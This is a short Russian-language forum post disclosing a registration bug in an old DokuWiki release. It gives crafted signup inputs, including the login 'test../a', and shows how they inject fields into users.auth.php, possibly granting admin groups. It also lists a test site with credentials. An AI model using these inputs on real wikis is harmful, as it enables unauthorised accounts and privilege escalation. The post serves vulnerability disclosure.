05.03.2019, 03:54
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
Баг авторизации выход из деректории:
версия dokuwiki 2012-09-10 "Adora Belle RC1"
authtype plain
Регистрация
Логин:[ test../a]
Полное мия:[ mail@email.ru]
Эл. адрес:[ a@a]
Результат в файле users.auth.php
Код:
# Format:
#
# login:passwordhash:Real Name:email:groups,comma,seperated
test:a:$1$9xrqaX5M$EYTB88lDR83zcl9nsxIMk0:mail@email.ru:a@a:user
то-есть мы добавили новую строку a
Поле a@aперенеслось в поле где прописаны админ группы
так же бага позволяет создавать одинаковых пользователей.
Уязвимость я не раскручивал дальше, но вполне реально зарегать себе админ юзера.
Кто хочет потестить вот вам мой сайт
http://tzwtf.ru/dokuwiki/doku.php?id=start
login:tester
pass:123 |
|
|